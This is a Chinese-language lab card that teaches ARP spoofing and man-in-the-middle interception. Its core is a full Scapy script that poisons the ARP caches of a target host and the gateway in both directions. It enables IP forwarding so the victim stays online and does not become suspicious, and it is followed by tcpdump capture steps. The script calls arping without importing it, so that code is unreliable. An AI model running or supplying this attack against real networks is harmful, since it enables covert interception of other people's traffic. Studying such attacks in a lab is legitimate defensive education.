3. ARP欺骗与中间人攻击

ARP欺骗与中间人攻击 学习卡片

任务目标

在本地实验局域网中,通过构造并发送伪造的ARP应答报文,使目标主机将网关MAC地址错误解析为攻击机MAC地址,从而将目标发往网关的流量牵引至攻击机,验证中间人攻击的可行性。本案例聚焦于ARP欺骗核心机制与流量截获验证,不涉及流量内容还原或后续渗透利用。

环境与依赖

  • 攻击机:Kali Linux(或任意Linux发行版),需具备root权限,安装python3与scapy库(pip3 install scapy)。
  • 目标主机:与攻击机处于同一局域网内的任意设备(如Windows/Linux主机或手机)。
  • 网关:局域网默认网关(路由器),需已知其IP地址。
  • 实验前确认攻击机网卡支持并已开启混杂模式(通常root下使用Scapy发送报文时自动处理)。

核心实现

以下Python脚本使用Scapy构造并持续发送伪造ARP应答,将目标主机的网关MAC映射篡改为攻击机MAC。脚本同时开启IP转发,确保截获的流量能正常转发至真实网关,避免目标断网引起警觉。

#!/usr/bin/env python3
from scapy.all import Ether, ARP, sendp, get_if_hwaddr, conf
import time
import sys

# ========== 配置参数 ==========
TARGET_IP = "192.168.1.100"      # 目标主机IP
GATEWAY_IP = "192.168.1.1"       # 网关IP
IFACE = "eth0"                   # 攻击机网卡接口
# ==============================

def enable_ip_forward():
    """开启Linux内核IPv4转发,使截获流量可转发至真实网关"""
    with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
        f.write("1")
    print("[*] IP转发已开启")

def get_mac(ip):
    """通过ARP请求获取指定IP的MAC地址"""
    ans, _ = arping(ip, iface=IFACE, timeout=2, verbose=False)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, target_mac, spoofed_ip):
    """构造并发送ARP应答:告知target_ip,spoofed_ip的MAC是攻击机MAC"""
    pkt = Ether(dst=target_mac) / ARP(
        op=2,                # ARP应答
        pdst=target_ip,      # 目标IP
        hwdst=target_mac,    # 目标MAC
        psrc=spoofed_ip,     # 被欺骗的IP(网关或目标)
        hwsrc=get_if_hwaddr(IFACE)  # 攻击机MAC
    )
    sendp(pkt, iface=IFACE, verbose=False)

def restore(target_ip, target_mac, gateway_ip, gateway_mac):
    """恢复网络:向目标发送正确的ARP应答,修复ARP缓存"""
    pkt = Ether(dst=target_mac) / ARP(
        op=2,
        pdst=target_ip,
        hwdst=target_mac,
        psrc=gateway_ip,
        hwsrc=gateway_mac
    )
    sendp(pkt, iface=IFACE, verbose=False)
    print(f"[*] 已恢复 {target_ip} 的ARP缓存")

if __name__ == "__main__":
    if len(sys.argv) != 2 or sys.argv[1] not in ("start", "stop"):
        print("用法: sudo python3 arp_spoof.py [start|stop]")
        sys.exit(1)

    # 获取真实MAC地址
    target_mac = get_mac(TARGET_IP)
    gateway_mac = get_mac(GATEWAY_IP)
    if not target_mac or not gateway_mac:
        print("[!] 无法获取目标或网关MAC,请检查IP与网络连通性")
        sys.exit(1)
    print(f"[*] 目标MAC: {target_mac}")
    print(f"[*] 网关MAC: {gateway_mac}")

    if sys.argv[1] == "start":
        enable_ip_forward()
        print("[*] 开始ARP欺骗(Ctrl+C停止)...")
        try:
            while True:
                # 欺骗目标:网关的IP对应攻击机MAC
                spoof(TARGET_IP, target_mac, GATEWAY_IP)
                # 欺骗网关:目标的IP对应攻击机MAC(双向欺骗,用于截获回包)
                spoof(GATEWAY_IP, gateway_mac, TARGET_IP)
                time.sleep(2)  # 每2秒重发,防止ARP缓存刷新
        except KeyboardInterrupt:
            print("\n[*] 停止欺骗,恢复网络...")
            restore(TARGET_IP, target_mac, GATEWAY_IP, gateway_mac)
            restore(GATEWAY_IP, gateway_mac, TARGET_IP, target_mac)
    elif sys.argv[1] == "stop":
        # 手动恢复模式
        restore(TARGET_IP, target_mac, GATEWAY_IP, gateway_mac)
        restore(GATEWAY_IP, gateway_mac, TARGET_IP, target_mac)

运行与验证

  1. 启动欺骗:在攻击机终端执行 sudo python3 arp_spoof.py start,脚本将持续发送伪造ARP报文。
  2. 验证ARP缓存篡改:在目标主机上执行 arp -a(Windows)或 ip neigh(Linux),观察网关IP对应的MAC地址是否已变为攻击机MAC。若一致,说明欺骗生效。
  3. 验证流量截获:在攻击机另一终端启动抓包:sudo tcpdump -i eth0 host 192.168.1.100 -w capture.pcap。随后让目标主机访问任意公网HTTP网站(如 http://example.com)。停止抓包后,用Wireshark打开capture.pcap,应能看到目标主机与网关之间的HTTP请求与响应数据包,证明流量已流经攻击机。
  4. 停止与恢复:在攻击机按Ctrl+C,脚本自动发送正确ARP应答恢复目标与网关的ARP缓存。在目标主机再次执行arp -a,确认网关MAC已恢复为真实网关MAC。

通过条件:目标主机ARP缓存中网关MAC被篡改为攻击机MAC;抓包文件中出现目标主机访问公网产生的HTTP流量;停止脚本后目标主机网络恢复正常,ARP缓存还原。

常见问题

  • 目标断网:确认攻击机已开启IP转发(脚本已自动执行),否则需手动执行 echo 1 > /proc/sys/net/ipv4/ip_forward。
  • 欺骗不生效:检查目标与攻击机是否在同一VLAN/网段;部分交换机启用端口安全或动态ARP检测(DAI)会阻止欺骗,需在普通家用交换机或虚拟化实验环境中测试。
  • HTTPS流量无法查看明文:本案例仅验证流量截获可行性,抓包中HTTPS流量为密文属正常现象,不影响中间人攻击可行性判定。